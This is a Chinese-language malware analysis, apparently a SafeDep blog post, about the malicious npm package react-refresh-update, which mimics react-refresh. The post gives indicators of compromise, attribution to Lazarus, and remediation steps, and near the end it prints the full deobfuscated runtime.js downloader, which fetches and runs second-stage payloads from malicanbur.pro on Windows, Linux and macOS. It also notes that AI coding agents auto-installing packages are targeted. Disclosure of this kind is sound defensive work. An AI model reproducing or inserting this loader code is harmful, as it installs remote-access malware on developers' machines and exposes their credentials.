SafeDep 发现了 react-refresh-update,这是一个恶意 npm 包,伪装成 react-refresh。react-refresh 是 Meta 维护的软件包,每周下载量达 4200 万次,几乎所有 React 构建工具链都在使用它。该软件包是合法源码的近乎完整克隆,但 runtime.js 携带了一个双层混淆的多平台木马下载器,会在 require() 上静默运行。
- 该软件包完整镜像了 react-refresh,仅做了一处修改:在
runtime.js中注入了混淆的下载器,同时保持合法模块导出完整,使软件包正常工作 - 有效载荷会检测主机操作系统,并从
malicanbur[.]pro下载平台特定的第二阶段文件 - 在 Windows 上,它获取一个 28.71 MB 的自解压存档(
cdrivWin.sh),其中包含一个 PE 二进制文件,解压后通过wscript执行start.vbs,以隐藏和分离方式运行 - 在 Linux 和 macOS 上,它下载一个 shell 脚本并写入
/var/tmp/macspatch.sh - C2 域名
malicanbur[.]pro被追踪为 Lazarus Group 基础设施,第二阶段二进制文件被归类为deceptivedevelopment系列,这是一种 针对自由职业开发者的朝鲜关联活动。该有效载荷已被 独立识别 为 PylangGhost RAT - 这遵循了与 pino-sdk-v2 相同的模板:镜像一个流行软件包,注入到一个内部文件中,声称更高的版本号。AI 编程代理(Claude Code、Cursor、Codex 等)通过 Google 或 Exa 搜索软件包并自动安装,这种模式正成为越来越常见的目标。一个镜像的代码库和膨胀的版本号足以绕过人工审查
调查
npm 页面是 react-refresh 的复制粘贴版本。描述、关键词和主页(react.dev)完全相同。版本号 2.0.5 是第一个线索:react-refresh 从未发布过 2.x 版本。真正的软件包版本是 CFCF_INLINE_CODE_13。声称 2.0.5 会给人一种更新版本的印象。
| react-refresh | react-refresh-update | |
|---|---|---|
| 版本 | 0.18.0 | 2.0.5 |
| 每周下载量 | 42,152,852 | 38 |
| 文件总数 | 9 | 9 |
| 解压后大小 | 58.4 kB | 94.5 kB |
| 发布者 | Meta (facebook/react) | jaime9008 |
| 最后发布 | 5 个月前 | 11 天前 |
| 主页 | react.dev | react.dev |
| 仓库 | facebook/react.git | (已移除) |
合法 react-refresh
恶意 react-refresh-update
文件数量与合法软件包完全匹配:9 个文件。36 kB 的大小差异就是有效载荷。对比两个软件包显示只有一处修改的文件:runtime.js。
发布者和版本历史
npm 发布者是 jaime9008([email protected])。该账户只有另一个软件包:@jaime9008/math-service,这是一个在恶意活动开始前一周(2026 年 2 月 23 日)发布的简单测试软件包。这是一个专门为此攻击创建的临时账户。
版本历史显示快速迭代。在四天内发布了六个版本:
| 版本 | 发布时间 |
|---|---|
| 1.0.0 | 2026-03-01 20:31 UTC |
| 1.0.1 | 2026-03-01 20:34 UTC |
| 1.0.2 | 2026-03-01 20:58 UTC |
| 1.0.3 | 2026-03-01 21:10 UTC |
| 1.0.4 | 2026-03-01 21:19 UTC |
| 2.0.5 | 2026-03-05 05:00 UTC |
前四个版本在 3 月 1 日的 48 分钟内发布,可能是攻击者在测试有效载荷并验证其端到端工作。3 月 5 日从 1.0.4 到 2.0.5 的跳跃是最终生产有效载荷,版本号膨胀到超过合法软件包的 0.18.0。
runtime.js 中的有效载荷
react-refresh 中的合法 runtime.js 只有七行:
'use strict';
if (process.env.NODE_ENV === 'production') {
module.exports = require('./cjs/react-refresh-runtime.production.min.js');
} else {
module.exports = require('./cjs/react-refresh-runtime.development.js');
}在 react-refresh-update 中,攻击者在第一行之后注入了混淆的有效载荷,同时在底部保留原始模块导出。任何 require 该软件包的代码仍然会获得正常工作的 Fast Refresh 运行时;恶意代码作为加载模块的副作用静默运行。
完整 diff 可在 DiffChecker 上查看。
两层去混淆
该有效载荷使用两层混淆。外层是一个自执行的 IIFE,它引导一个轮转字符串表,这是 javascript-obfuscator 的常见模式:
(function (_0x501563, _0x2250fa) {
const _0x28ca54 = _0x501563();
while (true) {
try {
const _0x4d047a =
parseInt(_0x4d3c(0xf5)) / 0x1 +
parseInt(_0x4d3c(0x2d3)) / 0x2 + ...
if (_0x4d047a === _0x2250fa) { break; }
else { _0x28ca54.push(_0x28ca54.shift()); }
} catch (_0x4bff88) {
_0x28ca54.push(_0x28ca54.shift());
}
}
})(_0x3f49, 0x4b183);内层是 XOR 加密的有效载荷。外层代码包含一个由 xorBuffer() 支持的 decodeSource() 函数,在运行时使用硬编码密钥解密嵌入式编码 blob。实际的下载器从不以明文形式存在于磁盘上;只有在 decodeSource(__ENCODED__, __KEY__) 运行后才会存在于内存中。解码后的源码然后直接传递给 eval():
eval(__DECODED_SOURCE__);这是执行机制:eval() 在当前模块的上下文中运行 XOR 解密后的下载器,使其可以访问 require、process 和完整的 Node.js 运行时。因为有效载荷在磁盘上是加密的,只在 eval() 之前的内存中解密,扫描可疑 require('child_process') 调用的静态分析工具不会在源码中找到它们。
提取内层有效载荷需要 hook 到解密调用并转储结果:
const __DECODED_SOURCE__ = decodeSource(__ENCODED__, __KEY__);
fs.writeFileSync('deobfuscated_payload.js', __DECODED_SOURCE__);剥离两层后,解码有效载荷中的字符串表解析为:
const STRINGS = [
'https',
'fs',
'child_process',
'path',
'os',
'axios',
'macspatch.sh',
'ML2J',
'https://malicanbur.pro',
'/winnmrepair_',
'.release',
'/linnmrepair_',
'/macnmrepair_',
'/winnmrepair.release',
'patches.zip',
'patches',
'content-length',
'a',
'GET',
'bytes=',
'-',
'stream',
'end',
'error',
'curl/7.68.0',
'*/*',
'data',
'close',
'finish',
'tar',
'-xf',
'-C',
'start.vbs',
'wscript',
'ignore',
'',
'win32',
'darwin',
'/var/tmp/',
'linux',
'sh',
'inherit',
];解码后的有效载荷需要 axios 用于 Windows 上的分块 HTTP 下载,但 axios 未列入软件包的 dependencies 或 peerDependencies。下载器依赖于主机项目中已安装的 axios。如果 axios 不存在,Windows 下载路径会静默失败(catch 块为空)。Linux 和 macOS 路径使用 Node.js 内置的 https 模块,不依赖 axios。
入口点 eMAluviA() 在模块加载时立即调用并按平台分派:
function eMAluviA() {
const platform = os.platform(); // "win32" | "darwin" | "linux"
if (platform === "win32") {
// chunked download -> extract -> run start.vbs
oFrTnsIM("hxxps://malicanbur[.]pro/winnmrepair_ml2j.release", tempZipPath);
} else if (platform === "darwin") {
// download shell script -> chmod 0755 -> sh
https.get("hxxps://malicanbur[.]pro/macnmrepair_ml2j.release", { rejectUnauthorized: false }, ...)
} else if (platform === "linux") {
// download shell script -> chmod 0755 -> sh
https.get("hxxps://malicanbur[.]pro/linnmrepair_ml2j.release", { rejectUnauthorized: false }, ...)
}
}
eMAluviA();Windows 执行路径
Windows 路径使用分块 HTTP 范围请求通过 axios 下载 hxxps://malicanbur[.]pro/winnmrepair_ml2j.release(28.71 MB)到 %TEMP%\patches.zip。C2 以 cdrivWin.sh 形式提供,这是一个基于 shell 的自解压存档,包含编译的 Windows 二进制文件。分块 10 MB 范围请求策略避免了可能被网络安全控制标记的单个大传输,并支持在中断时恢复。
下载后,下载器使用系统 tar 二进制文件将存档解压到 %TEMP%\patches\,然后通过 wscript 在隐藏的分离进程中运行 start.vbs:
function DLnURdfL() {
const vbsPath = path.join(extractDir, 'start.vbs');
if (fs.existsSync(vbsPath)) {
const proc = spawn('wscript', [vbsPath], {
detached: true,
stdio: 'ignore',
windowsHide: true,
});
proc.unref();
}
}windowsHide: true 阻止控制台窗口出现。proc.unref() 将 VBS 进程与 Node.js 父进程分离,以便在安装完成后持续运行。start.vbs 立即执行。根据 VirusTotal 在存档上的 contains-pe 行为标签,VBScript 的作用是释放并启动嵌入式编译的 Windows 二进制文件。此时恶意软件正在开发者的机器上运行。
Linux 和 macOS 执行路径
在 Unix 平台上,下载器使用 https.get 和 rejectUnauthorized: false 获取平台特定的 shell 脚本,以绕过针对 C2 的 TLS 证书验证。脚本被写入 /var/tmp/macspatch.sh,设置为可执行,然后通过 sh 运行:
https.get(scriptUrl, { rejectUnauthorized: false }, (response) => {
const writeStream = fs.createWriteStream('/var/tmp/macspatch.sh');
response.pipe(writeStream);
writeStream.on('finish', () => {
writeStream.close(() => {
fs.chmodSync('/var/tmp/macspatch.sh', 0o755);
spawn('sh', ['/var/tmp/macspatch.sh'], { stdio: 'inherit' });
});
});
});文件名 macspatch.sh 在 macOS 和 Linux 上重复使用。/var/tmp/ 是全局可写的,在许多 Linux 发行版上重启后仍然存在,不像 /tmp。一旦 sh 执行 macspatch.sh,第二阶段有效载荷就在运行。shell 脚本可以完全访问开发者的环境、凭据、SSH 密钥以及触发 require() 的进程可访问的任何秘密。
VirusTotal 检测
Windows 第二阶段,由 C2 作为 cdrivWin.sh(SHA256:0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e,28.71 MB)提供,被 VirusTotal 上的 15/54 个厂商标记为 trojan.python/obfdldr,系列 deceptivedevelopment。行为标签 detect-debug-environment 和 long-sleeps 表示正在积极进行沙箱规避。
如果您受到影响该怎么做
立即遏制
- 删除该软件包:
npm remove react-refresh-update - 审计您的
package-lock.json或yarn.lock中对react-refresh-update的任何引用 - 在 Windows 上检查
%TEMP%\patches\,在 Linux/macOS 上检查/var/tmp/macspatch.sh中是否有释放的文件 - 终止下载器生成的任何正在运行的进程(Windows 上为
wscript、start.vbs,Linux/macOS 上为macspatch.sh) - 在网络或 DNS 级别阻止
malicanbur[.]pro以防止进一步的 C2 通信
凭据轮换
下载器在 require() 时运行,这意味着任何加载该软件包的进程都已执行了有效载荷。假设受影响环境中可访问的所有凭据都已泄露:
- 轮换 npm 令牌、SSH 密钥、云提供商凭据(AWS、GCP、Azure)和 API 密钥
- 撤销并重新生成 CI/CD 秘密(GitHub Actions 秘密、环境变量)
- 轮换数据库凭据以及存储在
.env文件或环境变量中的任何令牌 - 审查并撤销活动的 OAuth 令牌和个人访问令牌
妥协指标(IOC)
| 指标 | 值 |
|---|---|
| 软件包名称 | react-refresh-update |
| 分析版本 | 2.0.5 |
| 软件包 SHA256 | 5196c3a832897e30c26da768379750bd3c886890e74d0f28a8921bbd19b553fc |
| npm 发布者 | jaime9008([email protected]) |
| 恶意文件 | runtime.js |
| 执行机制 | XOR 解密有效载荷的 eval() |
| C2 域名 | malicanbur[.]pro |
| Windows 有效载荷 URL | hxxps://malicanbur[.]pro/winnmrepair_ml2j.release |
| Linux 有效载荷 URL | hxxps://malicanbur[.]pro/linnmrepair_ml2j.release |
| macOS 有效载荷 URL | hxxps://malicanbur[.]pro/macnmrepair_ml2j.release |
| Windows 有效载荷 SHA256 | 0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e |
| Windows 释放路径 | %TEMP%\patches.zip、%TEMP%\patches\start.vbs |
| Linux/macOS 释放路径 | /var/tmp/macspatch.sh |
| 触发器 | 任何加载 require() 的模块的 runtime.js(无安装钩子) |
| XOR 解密密钥 | fdfdfdfdf3rykyjjgfkwi |
| C2 IP(当前 A 记录) | 31.220.48[.]155 |
| 备用 C2 IP | 173.211.46[.]22:8080 |
归因
多个独立来源将此软件包链接到 Lazarus Group(DPRK/朝鲜),特别是 DeceptiveDevelopment 活动(也称为 Contagious Interview 追踪)。
VirusTotal 系列分类。 Windows 第二阶段二进制文件(0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e)被多个 AV 厂商归类为系列标签 deceptivedevelopment。ESET 记录了 DeceptiveDevelopment,这是一个至少自 2023 年以来活跃的朝鲜关联集群,针对 Windows、Linux 和 macOS 上的软件开发者,重点关注加密货币和 Web3 项目。微软将同一活动追踪为 Contagious Interview。
Maltrail 威胁情报。 C2 域名 malicanbur[.]pro 和关联的 IP 173.211.46[.]22:8080 列在 stamparm/maltrail 的 apt_lazarus 追踪下,确认独立归因于 Lazarus 基础设施。
PylangGhost RAT。 kmsec.uk 发布了详细分析,涉及 react-refresh-update 和 @jaime9008/math-service,将第二阶段有效载荷识别为 PylangGhost RAT,这是一种 Python 编译的远程访问木马。他们的分析确认了相同的 C2(malicanbur[.]pro)、发布者账户(jaime9008)和 XOR 密钥(fdfdfdfdf3rykyjjgfkwi)。该 RAT 的功能包括针对加密货币钱包扩展的 Chrome 扩展枚举。
去混淆后的 runtime.js 有效载荷
以下是从 runtime.js 提取的去混淆有效载荷:
runtime.js — 去混淆后的有效载荷
const STRINGS = [
'https',
'fs',
'child_process',
'path',
'os',
'axios',
'macspatch.sh',
'ML2J',
'https://malicanbur.pro',
'/winnmrepair_',
'.release',
'/linnmrepair_',
'/macnmrepair_',
'/winnmrepair.release',
'patches.zip',
'patches',
'content-length',
'a',
'GET',
'bytes=',
'-',
'stream',
'end',
'error',
'curl/7.68.0',
'*/*',
'data',
'close',
'finish',
'tar',
'-xf',
'-C',
'start.vbs',
'wscript',
'ignore',
'',
'win32',
'darwin',
'/var/tmp/',
'linux',
'sh',
'inherit',
];
const oaLLcidN = require(STRINGS[0]);
const YFhBvOCQ = require(STRINGS[1]);
const { spawn } = require(STRINGS[2]);
const NuPxFbMG = require(STRINGS[3]);
const ZbCzKZWs = require(STRINGS[4]);
const xShDGmCh = require(STRINGS[5]);
const CcwUFnFU = STRINGS[6];
const mEcvUwwR = STRINGS[7];
const hyurUHYr = STRINGS[8];
const gdMyvoaa = hyurUHYr + STRINGS[9] + mEcvUwwR.toLowerCase() + STRINGS[10];
const ceYpklBk = hyurUHYr + STRINGS[11] + mEcvUwwR.toLowerCase() + STRINGS[10];
const eCcOZwtj = hyurUHYr + STRINGS[12] + mEcvUwwR.toLowerCase() + STRINGS[10];
const imYmlKwR = hyurUHYr + STRINGS[13];
const FPjwcFlx = NuPxFbMG.join(ZbCzKZWs.tmpdir(), STRINGS[14]);
const eYRfzbbb = NuPxFbMG.join(ZbCzKZWs.tmpdir(), STRINGS[15]);
async function oFrTnsIM(xJfqsdYT, YIFqUQjC, chunkSize = 10 * 1024 * 1024) {
let aDwsdudZ = 0;
try {
const XPrMfXvB = await xShDGmCh.head(xJfqsdYT);
aDwsdudZ = parseInt(XPrMfXvB.headers[STRINGS[16]], 10);
let wiaEzOZj = 0;
if (YFhBvOCQ.existsSync(YIFqUQjC)) {
const BJLDxDIf = YFhBvOCQ.statSync(YIFqUQjC);
wiaEzOZj = BJLDxDIf.size;
}
const OhDJyHfN = YFhBvOCQ.createWriteStream(YIFqUQjC, {
flags: STRINGS[17],
});
while (wiaEzOZj < aDwsdudZ) {
const RrFpixkX = Math.min(wiaEzOZj + chunkSize - 1, aDwsdudZ - 1);
try {
const yWcSyGRa = await xShDGmCh({
url: xJfqsdYT,
method: STRINGS[18],
headers: {
Range: STRINGS[19] + wiaEzOZj + STRINGS[20] + RrFpixkX,
},
responseType: STRINGS[21],
});
await new Promise((MptQEEap, iULWaqCf) => {
yWcSyGRa.data.pipe(OhDJyHfN, {
end: false,
});
yWcSyGRa.data.on(STRINGS[22], MptQEEap);
yWcSyGRa.data.on(STRINGS[23], iULWaqCf);
});
wiaEzOZj = RrFpixkX + 1;
} catch (error) {}
}
OhDJyHfN.close();
IcntOcxG();
} catch (error) {}
}
function hQzakJCi(retr_yCount = 5) {
const UknVsDNw = YFhBvOCQ.createWriteStream(FPjwcFlx);
const ZMAmQnHb = {
headers: {
'User-Agent': STRINGS[24],
Accept: STRINGS[25],
},
};
const zruCuIDU = oaLLcidN.get(imYmlKwR, ZMAmQnHb, function (response) {
if (response.statusCode !== 200) {
UknVsDNw.close(() => {
YFhBvOCQ.unlinkSync(FPjwcFlx);
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
return;
}
const UpRCIXRf = parseInt(response.headers[STRINGS[16]], 10);
let QynAymmA = 0;
response.on(STRINGS[26], (xYFhUlJy) => {
QynAymmA += xYFhUlJy.length;
});
response.pipe(UknVsDNw);
response.on(STRINGS[22], () => {
UknVsDNw.close(() => {
if (QynAymmA === UpRCIXRf) {
IcntOcxG();
} else if (retr_yCount > 0) {
YFhBvOCQ.unlink(FPjwcFlx, (ngNUBqgB) => {
if (!ngNUBqgB) hQzakJCi(retr_yCount - 1);
});
} else {
}
});
});
response.on(STRINGS[27], () => {});
response.on(STRINGS[23], (err) => {
UknVsDNw.close(() => {
YFhBvOCQ.unlink(FPjwcFlx, (cstDZAcC) => {
if (cstDZAcC) {
}
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
});
zruCuIDU.on(STRINGS[23], (err) => {
UknVsDNw.close(() => {
YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => {
if (unlinkErr) {
}
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
zruCuIDU.setTimeout(30000, () => {
zruCuIDU.abort();
UknVsDNw.close(() => {
YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => {
if (unlinkErr) {
}
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
UknVsDNw.on(STRINGS[28], () => {});
UknVsDNw.on(STRINGS[27], () => {});
UknVsDNw.on(STRINGS[23], (err) => {
YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => {
if (unlinkErr) {
}
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
}
function IcntOcxG() {
if (!YFhBvOCQ.existsSync(eYRfzbbb)) {
YFhBvOCQ.mkdirSync(eYRfzbbb);
}
const WOxbomoQ = spawn(STRINGS[29], [STRINGS[30], FPjwcFlx, STRINGS[31], eYRfzbbb]);
WOxbomoQ.on(STRINGS[27], (aUEjYvUy) => {
if (aUEjYvUy === 0) {
DLnURdfL();
} else {
}
});
}
function DLnURdfL() {
const MRajAmQL = NuPxFbMG.join(eYRfzbbb, STRINGS[32]);
if (YFhBvOCQ.existsSync(MRajAmQL)) {
const CcBELVLF = spawn(STRINGS[33], [MRajAmQL], {
detached: true,
stdio: STRINGS[34],
windowsHide: true,
});
CcBELVLF.unref();
} else {
}
}
function eMAluviA() {
let xJNfURgo = STRINGS[35];
const HTbZTylm = ZbCzKZWs.platform();
let OMXthvuc = STRINGS[35];
if (HTbZTylm === STRINGS[36]) {
const jedewkFh = ZbCzKZWs.tmpdir();
OMXthvuc = NuPxFbMG.join(jedewkFh, CcwUFnFU);
xJNfURgo = gdMyvoaa;
} else if (HTbZTylm === STRINGS[37]) {
OMXthvuc = STRINGS[38] + CcwUFnFU;
xJNfURgo = eCcOZwtj;
} else if (HTbZTylm === STRINGS[39]) {
OMXthvuc = STRINGS[38] + CcwUFnFU;
xJNfURgo = ceYpklBk;
} else {
return;
}
if (HTbZTylm != STRINGS[36]) {
oaLLcidN
.get(
xJNfURgo,
{
rejectUnauthorized: false,
},
(qtWTYcbR) => {
const OXgfHPnI = YFhBvOCQ.createWriteStream(OMXthvuc);
qtWTYcbR.pipe(OXgfHPnI);
OXgfHPnI.on(STRINGS[28], () => {
OXgfHPnI.close(() => {
YFhBvOCQ.chmodSync(OMXthvuc, 0o755);
const oAikehZa = OMXthvuc;
const QtEAJCaa = spawn(STRINGS[40], [oAikehZa], {
stdio: STRINGS[41],
});
QtEAJCaa.on(STRINGS[27], (code) => {
process.exit(code);
});
QtEAJCaa.on(STRINGS[23], (err) => {
process.exit(1);
});
});
});
}
)
.on(STRINGS[23], console.error);
} else {
oFrTnsIM(gdMyvoaa, FPjwcFlx);
}
}
eMAluviA();JS 255 行
- 漏洞
- 云
- 恶意软件
- 供应链安全
- npm
- 依赖混淆